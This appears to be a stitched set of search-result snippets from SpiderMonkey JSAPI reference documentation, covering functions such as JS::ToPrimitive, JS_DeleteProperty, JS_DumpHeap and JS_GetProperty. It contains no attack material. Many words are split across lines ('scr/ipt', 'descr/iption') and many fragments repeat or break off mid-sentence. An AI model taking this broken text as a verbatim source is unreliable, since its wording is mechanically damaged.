...r16_t * source buffer containing the scr
ipt to compile. datalength size_t the length of data, in characters. ownersh
ip ownersh
ip see descr
iption. descr
iption js::sourcebufferholder is the container class for passing in scr
ipt source buffers to the js engine. this not only groups the buffer and length values, it also provides a way to optionally pass ownersh
ip of the buffer to the js engine without copying. rules for use: the data array must be allocated with js_malloc or js_realloc if ownersh
ip is being granted to the sourcebufferholder. if ownersh
ip is not given to the sourcebufferholder, then the memory must be kept alive until the js compilation is complete. any code calling sourcebufferholder::take() must guarantee to keep the memory alive un...
...ntil the js compilation is complete. any code calling sourcebufferholder::take() must guarantee to keep the memory alive until js compilation completes. ...
JS::ToPrimitive
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to convert. hint jstype the hint to pass to the toprimitive and @@toprimitive method when converting the object. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object to convert. hint jstype the hint to pass to the toprimitive and @@toprimitive method when converting the object. ...
...the object to convert. hint jstype the hint to pass to the toprimitive and @@toprimitive method when converting the object. hint must be jstype_string or jstype_number to pass the corresponding type as a hint, or jstype_void to pass no hint. do not pass any other type. vp js::mutablehandleobject out parameter. on success, *vp receives the converted value. descr
iption js::toprimitive converts a javascr
ipt object, obj, to a primitive value using ecmascr
ipt 6 toprimitive. on success, js::toprimitive stores the converted value in *vp and returns true. on error or exception, it returns false, and the value left in *vp is undefined. see also mxr id search for js::toprimitive js::getfirstargumentastypehint js_defaultvalue -- old name of this function bu...
JSExtendedClass
although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsextendedclass is an extended version of jsclass with additional hooks. a c/c++ program can use a jsextendedclass with the js_initclass and js_newobject apis to create objects that have custom methods and properties implemented in c/c++. ...
...es implemented in c/c++. syntax struct jsextendedclass { jsclass base; jsequalityop equality; jsobjectop outerobject; jsobjectop innerobject; jsiteratorop iteratorobject;// added in spidermonkey 1.8 jsobjectop wrappedobject; // added in spidermonkey 1.8 ...and additional reserved fields. }; name type descr
iption base jsclass the basic class information and callbacks for this class. this contains some required fields. equality jsequalityop optional. overrides the javascr
ipt == and != operators. outerobject jsobjectop optional. return the current outer object. this is used to implement split objects. innerobject jsobjectop optional. return the...
...torobject jsiteratorop added in spidermonkey 1.8 optional. creates and returns a new iterator. wrappedobject jsobjectop added in spidermonkey 1.8 optional. if non-null, an object of this class may serve as a wrapper for another object. wrappers sometimes transparently behave like the object they wrap. for example, an object and its wrappers are all equal under ===. descr
iption to implement a custom class that uses any of the jsextendedclass callbacks: create a jsextendedclass and populate both the base fields and the extended fields. ensure that the additional reserved fields at the end of the jsextendedclass are null. jsclass and jsextendedclass structs should usually be global, and in this case the compiler automatically initializes these fields to null. (this...
JSExtendedClass.wrappedObject
obsolete since javascr
ipt 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8 callback for objects that wrap other objects. syntax typedef jsobject * (*jsobjectop)(jscontext *cx, jsobject *obj); name type descr
iption cx jscontext * the context in which the object is being unwrapped. obj jsobject * the object to unwrap. descr
iption if a class has the jsclass_is_extended bit set in its jsclass.flags and has a non-null jsextendedclass.wrappedobject, then objects of that class may be wrappers. ...
...in these cases the engine calls the jsextendedclass.wrappedobject callback to get the wrapped object. most classes do not implement wrappedobject. ...
...plement wrappedobject. the specific cases where this happens are: the default tostring method returns a string that contains the name of the wrapped object's class rather than the wrapper's class. in typeof expressions and in js_typeofvalue, the type of the wrapped object is returned. (the result may be "object", "function", or "xml".) when assigning to __proto__ or __parent__ from scr
ipt, the javascr
ipt engine checks to see if the assignment would produce a cycle. if so, it fails with an exception. when walking the chain to do this check, wrappers are automatically unwrapped. a wrapper object is strictly equal to the object it wraps, in the sense of === and !==. two wrapper objects that wrap the same object are also strictly equal. object.prototype.eval unwraps. a wr...
JSFUN_BOUND_METHOD
jsfun_bound_method is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called. ...
...jsfun_bound_method is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called. ...
...ay still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. flag that indicates a function nominally associated with an object is bound, instead, to that object's parent. syntax jsfun_bound_method descr
iption this macro exists only for backward compatibility with existing applications. its use is deprecated. future versions of the javascr
ipt engine may not support or recognize this macro. jsfun_bound_method is a flag that indicates a method associated with an object is bound to the method's parent, the object on which the method is called. see also jsfun_global_parent bug 429507 ...
JSNewResolveOp
e browsers, its use is discouraged since it could be removed at any time. try to avoid using it. jsnewresolveop is the type of the jsclass.resolve callback when the jsclass_new_resolve bit is set in the jsclass.flags field. syntax typedef bool (* jsnewresolveop)(jscontext *cx, js::handleobject obj, js::handleid id, js::mutablehandleobject objp); name type descr
iption cx jscontext * pointer to the js context in which the property access is taking place. obj js::handleobject pointer to the object whose properties are being accessed. id js::handleid name or index of the property being accessed. flags uint32_t obsolete since jsapi 31 flags giving contextual information about the ongoing property acce...
... id js::handleid name or index of the property being accessed. flags uint32_t obsolete since jsapi 31 flags giving contextual information about the ongoing property access. objp js::mutablehandleobject out parameter. on success, the resolve hook must set *objp to the object in which the property has been defined, or null if it was not defined. descr
iption like jsresolveop, but flags provide contextual information about the property access. on success, the callback must set the *objp out parameter to null if id was not resolved; or non-null, referring to obj or one of its prototypes, if id was resolved; and return js_true. on failure, it must return js_false. this hook instead of jsresolveop is called via the jsclass.resolve member if jsclass_n...
... being used in code like "if (o.p)...", or a similar idiom where the apparent purpose of the property access is to detect whether the property exists. (this flag has been replaced with the jsclass_emulates_undefined mechanism.) jsresolve_declaring obsolete since jsapi 15 the property is being declared in a var, const, or function declaration. jsresolve_classname obsolete since javascr
ipt 1.8.8 class name used when constructing. jsresolve_with obsolete since javascr
ipt 1.8.8 the lookup is occurring for a name evaluated inside a with statement. see also jsclass bug 547140 - removed flags bug 993026 - obsoleted ...
JSObjectOps.defaultValue
obsolete since javascr
ipt 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the javascr
ipt engine calls the jsobjectops.defaultvalue and jsclass.convert callbacks to convert objects to primitive values. syntax typedef jsbool (*jsconvertop)(jscontext *cx, jsobject *obj, jstype type, jsval *vp); name type descr
iption cx jscontext * pointer to the js context in which the conversion is needed. obj j...
...ext *cx, jsobject *obj, jstype type, jsval *vp); name type descr
iption cx jscontext * pointer to the js context in which the conversion is needed. obj jsobject * the object to be converted. type jstype the target type. vp jsval * out parameter. on success, the callback must store the converted value here. descr
iption the jsobjectops.defaultvalue callback corresponds to the [[defaultvalue]] method defined in ecma 262-3 ?8.6.2.6. many expressions in the ecmascr
ipt language, such as a+b, involve implicit conversion of the operands using [[defaultvalue]]. ...
...provide a custom jsobjectops.defaultvalue callback to implement customized [[defaultvalue]] behavior. the jsclass.convert callback should convert obj to the given type, returning js_true with the resulting value in *vp on success, and returning js_false on error or exception. ...
JSObjectOps.dropProperty
obsolete since javascr
ipt 1.8.5this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. warning! jsobjectops is not a supported api. details of the api may change from one release to the next. this documentation should be considered spidermonkey internals documentation, not api documentation. see bug 408416 for details. the jsobjectops.dropproperty callback releases a jsproperty. syntax typedef void (*jspropertyrefop)(jscontext *cx, jsobject *obj, jsproperty *prop); name type descr
iption cx jscontext * a context that was the cx argument to an earlier call to jsobjectops.lookupproperty that found a property. obj jsobject * the object of w...
... earlier call to jsobjectops.lookupproperty that found a property. obj jsobject * the object of which prop is an own property. that is, the value that the jsobjectops.lookupproperty hook stored in the *objp out parameter. prop jsproperty * the property to release. that is, the value that jsobjectops.lookupproperty hook stored in the *propp out parameter. descr
iption the following contract governs jsobjectops callers and implementations: whenever jsobjectops.lookupproperty returns a jsproperty pointer, the property is locked. while the property is locked, the caller may access it using other jsobjectops callbacks. it may not otherwise call into the jsapi in ways that might trigger other property accesses. (in a js_threadsafe build, that would risk de...
...implementation of jsobjectops) is not the property but some collection of objects including the object on which the property is defined. the granularity of the locking is up to the jsobjectops implementation; deadlock does not happen because each thread accesses only one property at a time. a single, built-in jsobjectops implementation is used for most spidermonkey objects that are exposed to scr
ipts. custom jsobjectops implementations can either retain the spidermonkey property storage and locking scheme (by copying all or most of the built-in jsobjectops) or replace it entirely. threads. in a js_threadsafe build, any consistency observed by mult
iple threads operating on the same data is provided solely by the property locking scheme described above. in spidermonkey 1.8 and earlier, the m...
JSProtoKey
this article covers features introduced in spidermonkey 24 possible standard object prototype types. value prototype in javascr
ipt jsproto_null a dummy key for invalid prototype. mxr search for jsproto_null jsproto_object object mxr search for jsproto_object jsproto_function function mxr search for jsproto_function jsproto_array array mxr search for jsproto_array jsproto_boolean boolean mxr search for jsproto_boolean jsproto_json json mxr search for jsproto_json jsproto_date date mxr search for jsproto_date jsproto_math math mxr search for jsproto_math jsproto_number number mxr search for jsproto_number jsprot...
...some of them are nightly only (depends on each option). see also bug 789635 bug 645416 - added jsproto_symbol bug 769872 - added jsproto_intl bug 792439 - added jsproto_weakset bug 896116 - added jsproto_typedarray bug 904701 - added jsproto_generatorfunction bug 914220 - added jsproto_typedobject bug 933001 - adde...
...some of them are nightly only (depends on each option). ...
JSReserveSlotsOp
a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. ...
...a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. ...
...e is discouraged since it could be removed at any time. try to avoid using it. jsreserveslotsop is the type of the jsclass.reserveslots. syntax typedef uint32 (* jsreserveslotsop)(jscontext *cx, jsobject *obj); name type descr
iption cx jscontext * the js context in which the new object is being created. obj jsobject * the new object. descr
iption warning: jsapi applications should not use this hook. a class cannot freely use a reserveslots hook to reserve a different number of slots for each object. rather, within a jsruntime, every call to the same reserveslots hook must return the same value (excepting a few internal classes such as function, call, and block). jsclass hooks jsclass offers the following hook: the jsclass.r...
JSVAL_TRUE
they are equivalent to boolean_to_jsval(true) and boolean_to_jsval(false), respectively. ...
...they are equivalent to boolean_to_jsval(true) and boolean_to_jsval(false), respectively. ...
...they are equivalent to boolean_to_jsval(true) and boolean_to_jsval(false), respectively. ...
JS_AddExternalStringFinalizer
obsolete since jsapi 13this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. register a custom string memory manager. syntax int js_addexternalstringfinalizer(jsstringfinalizeop finalizer); name type descr
iption finalizer jsstringfinalizeop pointer to a callback function, described below. ...
...since the jsstringfinalizeop callback is called during garbage collection, it must avoid most jsapi functions. (is cx guaranteed to be non-null?) str jsstring * the string being finalized. ...
...r to the character buffer, which is the pointer which the application passed to js_newexternalstring() when creating the string. it is the callback's responsibility to free the memory. after this callback, the js engine will not use that memory anymore and will not keep a pointer to it. the callback may not keep a reference to this jsstring, as its memory is about to be freed. descr
iption add a finalizer for external strings created by js_newexternalstring using a type-code returned from this function, and that understands how to free or release the memory pointed at by js_getstringchars(str). returns a nonnegative type index if there is room for finalizer in the global gc finalizers table, else returns -1. in a js_threadsafe build, this function must be invoked on the primo...
JS_CheckAccess
requires request. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. ...
...as the property being accessed. id jsid the name or index of the property being accessed. mode jsaccessmode the type of access requested (read, write, etc.) vp jsval * out parameter. on success, *vp receives the property's stored value. attrsp unsigned int * out parameter. on success, *attrsp receives the property attributes. descr
iption js_checkaccess determines whether the property of obj given by id can be accessed by the code currently running in the context cx. the mode parameter specifies what kind of access to check for. it is one of the following values: value descr
iption jsacc_proto check for permission to read to obj's prototype. (this is redundant with passing the string id "__proto__" as...
JS_ConstructObject
ss, with the specified prototype and parent, then invokes a constructor function to initialize the new object. syntax jsobject * js_constructobject(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent); jsobject * js_constructobjectwitharguments(jscontext *cx, jsclass *clasp, jsobject *proto, jsobject *parent, unsigned int argc, jsval *argv); name type descr
iption cx jscontext * the context in which to create the new object. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. clasp jsclass * pointer to the class to use for the new object. if this is null, an ordinary javascr
ipt object is created. proto jsobject * the object to serve as the new object's prototype, or...
...ectwitharguments) the number of arguments to pass to the constructor. argv jsval * (only in js_constructobjectwitharguments) the array of arguments to pass to the constructor. this may be null if argc is zero. otherwise, the first argc elements of this array must be populated with valid jsval values. the caller does not need to ensure that the array elements are rooted. descr
iption js_constructobject creates a new object of the specified class, with the specified prototype and parent, then invokes a constructor function to initialize the new object. cx is a pointer to a context associated with the runtime in which to create the new object. clasp is a pointer to the class of object to create. proto and parent may specify objects to be used as the new object's prototype ...
... to create the new object. clasp is a pointer to the class of object to create. proto and parent may specify objects to be used as the new object's prototype and parent. if either is null, the engine tries to find reasonable defaults. js_constructobjectwitharguments is the same but additionally passes zero or more arguments to the constructor. neither of these functions is quite like the javascr
ipt new keyword. for details on how we find the appropriate constructor and default prototype, see js_newobject: choosing a default prototype. roughly speaking, we use parent or cx to find a global object, and then find clasp's constructor in that global object. if parent is null, the engine chooses an object to serve as the new object's parent. on success, js_constructobject returns a pointer t...
JS_DecompileFunctionBody
generate the source code representing the body of a function, minus the function keyword, name, parameters, and braces. syntax jsstring * js_decompilefunctionbody(jscontext *cx, js::handle<jsfunction*> fun, unsigned indent); name type descr
iption cx jscontext * the context in which to decompile the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fun js::handle<jsfunction*> the function to decompile. ...
...n cx jscontext * the context in which to decompile the function. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. fun js::handle<jsfunction*> the function to decompile. indent unsigned if it's not js_dont_pretty_print, js_decompilefunction returns pretty printed source code of the function. descr
iption js_decompilefunctionbody generates the source code of a function's body, minus the function keyword, name, parameters, and braces, from a function's compiled form, fun. if successful, js_decompilefunctionbody returns a string containing the source code of the function body. otherwise, it returns null. the source code generated by this function is accurate but unadorned and is not suitable for...
...but unadorned and is not suitable for recompilation without providing the function's declaration. if you decompile a function that makes a native c call, the body of the function only contains the text "[native code]". ...
JS_DefaultValue
obsolete since jsapi 44this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8.6 converts a javascr
ipt object to a primitive value, using the semantics of that object's internal [[defaultvalue]] hook. renamed to js::toprimitive from jsapi 44. syntax bool js_defaultvalue(jscontext *cx, js::handle<jsobject*> obj, jstype hint, js::mutablehandle<js::value> vp); name type descr
iption cx jscontext * the context in which to perform the conversion. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handle<jsobject...
... the object to convert. hint jstype the hint to pass to the [[defaultvalue]] hook when converting the object. hint must be jstype_string or jstype_number to pass the corresponding type as a hint, or jstype_void to pass no hint. do not pass any other type. vp js::mutablehandle<js::value> out parameter. on success, *vp receives the converted value. descr
iption js_defaultvalue converts a javascr
ipt object, obj, to a primitive value using that object's [[defaultvalue]] hook. ecmascr
ipt specifies that all objects have a [[defaultvalue]] hook. objects with classes defined by ecmascr
ipt itself all use the [[defaultvalue]] algorithm specified in ?8.12.8 (but note the algorithm's special case for date objects). objects with a custom jsclass specified by ...
...defaultvalue]] algorithm specified in ?8.12.8 (but note the algorithm's special case for date objects). objects with a custom jsclass specified by the embedder will invoke that class's convert hook, which must convert the object to a primitive value, to determine the primitive result of conversion. behavior when the convert hook is js_convertstub is identical to that for objects defined by ecmascr
ipt. on success, js_defaultvalue stores the converted value in *vp and returns true. on error or exception, it returns false, and the value left in *vp is undefined. see also mxr id search for js_defaultvalue js::toprimitive bug 1054756 - renamed to js::toprimitive ...
JS_DefineConstDoubles
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create new properties. ...
...requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object for which to create new properties. ...
... cds jsconstdoublespec * pointer to an array of jsconstdoublespec records containing property names and values to create. the last array element must contain zero-valued members. cis jsconstintegerspec * pointer to an array of jsconstintegerspec records containing property names and values to create. the last array element must contain zero-valued members. descr
iption js_defineconstdoubles creates one or more properties for a specified object, obj, where each property consists of a double value. js_defineconstintegers creates one or more properties for a specified object, obj, where each property consists of a int32_t value. the attributes for each property is set to jsprop_readonly | jsprop_permanent. obsolete from jsapi 35 each property is automatical...
JS_DeleteElement2
olete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. removes a specified element or numeric property from an object. renamed to js_deleteelement in jsapi 39 syntax bool js_deleteelement2(jscontext *cx, js::handleobject obj, uint32_t index, bool *succeeded); name type descr
iption cx jscontext * pointer to a js context from which to derive runtime information. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. succeeded bool * out parameter. on success, ...
...est. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete an element. index uint32_t index number of the element to delete. succeeded bool * out parameter. on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise. descr
iption js_deleteelement2 removes a specified element or numeric property, index, from an object, obj. if an object references an element belonging to a prototype, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement2 stores true to *succeeded and returns true. otherwise it returns false and the value of *succeeded ...
...e, the element reference is removed from the object, but the prototype's element is not deleted. if deletion is successful, js_deleteelement2 stores true to *succeeded and returns true. otherwise it returns false and the value of *succeeded is undefined. notes per the ecma standard, js_deleteelement2 removes read-only properties from objects as long as they are not also permanent. for javascr
ipt 1.2 and earlier, if deletion fails because the property is permanent, js_deleteelement2 reports the error and returns false. for javascr
ipt 1.3, the attempt is silently ignored. in both these cases, *succeeded will receive the stored value of the property that was not deleted. to remove all properties from an object, call js_clearscope. see also mxr id search for js_deleteelement2 bug 111...
JS_DeleteProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete a property. name or id const char * or jsid or const char16_t * name of the property to delete. namelen size_t ...
...t object from which to delete a property. name or id const char * or jsid or const char16_t * name of the property to delete. namelen size_t (only in js_deleteucproperty) the length of name in characters; or -1 to indicate that name is null-terminated. result js::objectopresult & (out parameter) receives the result of the operation. descr
iption js_deleteproperty removes a specified property, name, from an object, obj. js_deletepropertybyid is the same but takes a jsid for the property name. these functions are identical to js_deleteproperty2 and js_deletepropertybyid2 except that they do not have an out parameter. first, a property lookup is performed. then one of the following cases applies: if obj has no property with the giv...
... non-permanent own property with the given name or id. in this case, obj's jsclass.delproperty hook is called. if the hook returns false, the error is propagated. otherwise, if obj is not configurable, an error is raised. otherwise, the property is removed. these functions return true on success, regardless of whether a property was actually deleted, and false on error or exception. (in javascr
ipt 1.2 and earlier, attempting to delete a permanent property caused an error. there is no longer any way to get this behavior.) internally, property deletion is implemented by the jsobjectops.deleteproperty callback. to remove all properties from an object, call js_clearscope. see also mxr id search for js_deleteproperty mxr id search for js_deletepropertybyid js_deleteproperty2 js_delete...
JS_DeleteProperty2
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object from which to delete a property. name or id const char * or const char16_t or js::handleid name of the property to delete. namelen siz...
... const char * or const char16_t or js::handleid name of the property to delete. namelen size_t (only in js_deleteucproperty2) the length of name in characters; or -1 to indicate that name is null-terminated. succeeded bool * out parameter. on success, *succeeded receives false if the property was not deleted because it is permanent and true otherwise. descr
iption js_deleteproperty2 removes a specified property, name, from an object, obj, and stores true or false in *succeeded. it behaves like the javascr
ipt expression delete obj[name]. js_deleteucproperty2 is the unicode version of the function. js_deletepropertybyid2 is the same but takes a js::handleid for the property name. first, a property lookup is performed. then one of the following cases ap...
...s propagated. otherwise, if obj is not configurable, an error is raised. otherwise, *succeeded receives true and the property is removed. these functions return true on success, regardless of whether a property was actually deleted. on error or exception, the return value is false, and the value left in *succeeded is unspecified. jsobjectops.deleteproperty implements this behavior. (in javascr
ipt 1.2 and earlier, attempting to delete a permanent property caused an error. there is no longer any way to get this behavior.) to remove all properties from an object, call js_clearscope. see also mxr id search for js_deleteproperty2 mxr id search for js_deleteucproperty2 mxr id search for js_deletepropertybyid2 bug 461163 bug 1113369 -- renamed to js_deleteproperty ...
JS_DestroyRuntime
call js_destroyruntime after completing all other js api calls. js_destroyruntime garbage collects and frees the memory previously allocated by js_newruntime. ...
...call js_destroyruntime after completing all other js api calls. js_destroyruntime garbage collects and frees the memory previously allocated by js_newruntime. ...
...call js_destroyruntime after completing all other js api calls. js_destroyruntime garbage collects and frees the memory previously allocated by js_newruntime. ...
JS_DumpHeap
e is discouraged since it could be removed at any time. try to avoid using it. this article covers features introduced in spidermonkey 1.8 debug only. dump the object graph of heap-allocated things. syntax bool js_dumpheap(jsruntime *rt, file *fp, void* startthing, jsgctracekind kind, void *thingtofind, size_t maxdepth, void *thingtoignore); name type descr
iption cx jscontext * pointer to a js context. every jscontext is permanently associated with a jsruntime; each jsruntime contains a gc heap. fp file * file for the dump output. startthing void * null or a pointer to a gc thing (use js::value::togcthing() to obtain a pointer to pass here). when null, dump all things reachable from the runtime roots. when ...
...inter to a gc thing that will be ignored during graph traversal. enum jsgctracekind { // these trace kinds have a publicly exposed, although opaque, c++ type. // note: the order here is determined by our value packing. other users // should sort alphabetically, for consistency. jstrace_object = 0x00, jstrace_string = 0x01, jstrace_symbol = 0x02, jstrace_scr
ipt = 0x03, // shape details are exposed through js_traceshapecyclecollectorchildren. jstrace_shape = 0x04, // the kind associated with a nullptr. jstrace_null = 0x06, // a kind that indicates the real kind should be looked up in the arena. jstrace_outofline = 0x07, // the following kinds do not have an exposed c++ idiom. jstrace_base_shape = 0x0f, jstrace_jit...
...re exposed through js_traceshapecyclecollectorchildren. jstrace_shape = 0x04, // the kind associated with a nullptr. jstrace_null = 0x06, // a kind that indicates the real kind should be looked up in the arena. jstrace_outofline = 0x07, // the following kinds do not have an exposed c++ idiom. jstrace_base_shape = 0x0f, jstrace_jitcode = 0x1f, jstrace_lazy_scr
ipt = 0x2f, jstrace_type_object = 0x3f, jstrace_last = jstrace_type_object }; descr
iption see bug 378261 for detail. when tracing a thing, the gc needs to know about the layout of the object it is looking at. there are a fixed number of different layouts that the gc knows about. the "trace kind" is a static map which tells which layout a gc thing has. although this map is public, the d...
JS_DumpNamedRoots
obsolete since jsapi 19this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. enumerate all the named roots in a runtime. syntax void js_dumpnamedroots(jsruntime *rt, void (*dump)(const char *name, void *rp, void *data), void *data); name type descr
iption rt jsruntime * pointer to a jsruntime from which to dump named roots. dump void (*)(const char *, void *, void *) pointer to function that actually dumps the named roots. this may not be null. data void * a pointer that is passed to dump each time it is called. the javascr
ipt engine does not read from or write to this pointer at all. it is passed to the dump...
...from which to dump named roots. dump void (*)(const char *, void *, void *) pointer to function that actually dumps the named roots. this may not be null. data void * a pointer that is passed to dump each time it is called. the javascr
ipt engine does not read from or write to this pointer at all. it is passed to the dump function unchanged. it may be null. descr
iption each call to js_addnamedroot creates a record in a table of named roots maintained by the garbage collector. js_dumpnamedroots provides a way for the application to access the contents of that table. it calls the dump function once for each named root in the given runtime rt. in pseudocode: /* pseudocode explanation of what js_dumpnamedroots does */ void js_dumpnamedroots(jsruntime *rt, dumpf...
...t. in pseudocode: /* pseudocode explanation of what js_dumpnamedroots does */ void js_dumpnamedroots(jsruntime *rt, dumpfn dump, void *data) { for each (root in rt->namedroots) dump(root.name, root.address, data); } callback syntax dump is a pointer to a function provided by the application. when js_dumpnamedroots calls it, it passes three arguments: argument type descr
iption name const char * the name of the named root. rp void * a pointer to the rooted variable, array element, or field. this is the pointer that the application passed to js_addnamedroot. it points to a variable, array element, or field of type jsval, jsobject *, jsstring *, or jsdouble *. data void * the data argument that the application passed to js_...
JS_EnterLocalRootScope
to avoid calling js_addroot and js_removeroot to manage global roots temporarily. js_addroot roots a variable, ensuring that whatever the variable points to at any given moment is protected from gc. ...
...to avoid calling js_addroot and js_removeroot to manage global roots temporarily. js_addroot roots a variable, ensuring that whatever the variable points to at any given moment is protected from gc. ...
...to avoid calling js_addroot and js_removeroot to manage global roots temporarily. ...
JS_Enumerate
get an array of the enumerable properties of a given object. syntax jsidarray * js_enumerate(jscontext *cx, js::handleobject obj); name type descr
iption cx jscontext * the context in which to enumerate object properties. requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject the object whose properties are to be enumerated. descr
iption js_enumerate gets the ids of all own properties of the specified object, obj, that have the jsprop_enumerate attribute. ...
...this calls obj's jsclass.enumerate hook. on success, js_enumerate returns a pointer to the first element of an array of property ids. ...
...enumerate returns a pointer to the first element of an array of property ids. the application must free this array using js_destroyidarray. on error or exception, js_enumerate returns null. the property ids in the returned jsidarray are subject to garbage collection. as long as obj is reachable, its current property ids are reachable. but, for example, if an application calls back into javascr
ipt while it is looping over the property ids in the jsidarray, the scr
ipt could delete properties from obj. the property ids would then become unreachable and could be collected. therefore a program that loops over the property ids must either root them all, ensure that the properties are not deleted (in a multithreaded program this requires even greater care), or ensure that garbage collection doe...
JS_GetCompartmentPrivate
it is especially useful for storing data needed by callbacks. ...
...it is especially useful for storing data needed by callbacks. ...
... this function. syntax void js_setcompartmentprivate(jscompartment *compartment, void *data); void * js_getcompartmentprivate(jscompartment *compartment); name type descr
iption compartment jscompartment * any compartment data void * (in js_setcompartmentprivate) pointer to application-defined data to be associated with the compartment. descr
iption each jscompartment has a field of type void * which the application may use for any purpose. it is especially useful for storing data needed by callbacks. js_getcompartmentprivate gets this field and js_setcompartmentprivate sets it. the field is initially null. memory management for this private data is the application's responsibility. the javascr
ipt engine itself never uses it. see also...
JS_GetFunctionName
the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created. ...
...the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created. ...
...the return value is either the name of a function, or the string "anonymous", which indicates that the function was not assigned a name when created. ...
JS_GetLocaleCallbacks
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. callbacks jslocalecallbacks * pointer to a jslocalecallbacks struct. ...
... jslocaletolowercase implementation of string.prototype.tolocalelowercase() function. jslocalecompare implementation of string.prototype.localecompare() function. if expose_intl_api is defined, intl api is used instead. jslocaletounicode convert locale specific s...
... implementation of string.prototype.tolocaleuppercase() function. jslocaletolowercase implementation of string.prototype.tolocalelowercase() function. jslocalecompare implementation of string.prototype.localecompare() function. if expose_intl_api is defined, intl api is used instead. jslocaletounicode convert locale specific string to unicode string. descr
iption js_setlocalecallbacks establishes locale callbacks. the pointer must persist as long as the jsruntime. passing nullptr restores the default behaviour. js_getlocalecallbacks returns the address of the current locale callbacks struct, which may be nullptr. see also mxr id search for js_getlocalecallbacks mxr id search for js_setlocalecallbacks mxr id search for jslocalecallbacks mxr id sea...
JS_GetProperty
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj js::handleobject object to search on for the property. name or id const char * or const char16_t * or js::handleid name of the property to look up. namelen size_t (in js_getucproperty only) the length of name, ...
... const char * or const char16_t * or js::handleid name of the property to look up. namelen size_t (in js_getucproperty only) the length of name, in characters; or -1 to indicate that name is null-terminated. vp js::mutablehandlevalue out parameter. on success, *vp receives the current value of the property, or undefined if no such property is found. descr
iption js_getproperty examines a specified js object obj and its prototype chain for a property with the specified name. it behaves like the javascr
ipt expression obj[name]. js_getucproperty is the unicode version of the function. js_getpropertybyid is the same but takes a js::handleid for the property name. in the simplest case, js_getproperty stores the value of the property in *vp and returns t...
..., including objects of standard classes such as object and array, this hook does nothing and returns true, so the property get succeeds and undefined is left in *vp. if the property is found on a non-native object, get handler of proxy (only if the object is a proxy) or its jsobjectops.getproperty method is called. otherwise the property is found on a native object. if the property has a javascr
ipt getter, it is called. otherwise *vp is set to the property's stored value, or undefined if the property does not have a stored value, and then the property's getter is called with the arguments (cx, obj, id, vp). for many properties, the getter does nothing and returns true, so the property get succeeds and the property's stored value is left in *vp. internally, property retrieval, including a...
JS_GetPropertyAttrsGetterAndSetter
requires request. in a js_threadsafe build, the caller must be in a request on this jscontext. obj jsobject * object from which to retrieve property attributes. name or id const char * or const jschar * or jsid the name of the property to examine. namelen size_t (onl...
...dp jsbool * out parameter. flag indicating whether or not the specified property was located. getterp jspropertyop * out parameter. on success, *getterp receives a pointer to the getter function for the specified property. setterp jspropertyop * out parameter. on success, *setterp receives a pointer to the setter function for the specified property. descr
iption see js_getpropertyattributes for details about these functions. the only difference is that on success, these functions also get the getter and setter functions for the property. the js_getter (or js_setter) attribute indicates that the property's getter (or setter) is a javascr
ipt function, not a c/c++ function. when this attribute is present, the value stored in getterp (or setterp) does ...
...difference is that on success, these functions also get the getter and setter functions for the property. the js_getter (or js_setter) attribute indicates that the property's getter (or setter) is a javascr
ipt function, not a c/c++ function. when this attribute is present, the value stored in getterp (or setterp) does not really point to a c/c++ function; it is a jsobject *, pointing to a javascr
ipt function, cast to type jspropertyop. the application may cast it back to jsobject * (using a c cast or a c++ reinterpret_cast) to access the getter/setter function object. for more information about javascr
ipt getters and setters, see defining getters and setters. property attributes bug 893186 ...
JS_GetReservedSlot
access an object's reserved slots. ...
...since spidermonkey 42 jsval js_getreservedslot(jsobject *obj, uint32_t index); void js_setreservedslot(jsobject *obj, uint32_t index, jsval v); name type descr
iption obj jsobject * an object that has reserved slots. index uint32_t index of the reserved slot to access. v js::value (in js_setreservedslot) the value to store. descr
iption if a jsclass has jsclass_has_reserved_slots(n) in its flags, with n > 0, or has a non-null jsclass.reserveslots callback, then objects of that class have n reserved slots in which the application may store data. these fields are not directly exposed to scr
ipts. reserved slots may contain any js::value, and the garbage collector will hold the value alive as long as the object itself is alive...
... then objects of that class have n reserved slots in which the application may store data. these fields are not directly exposed to scr
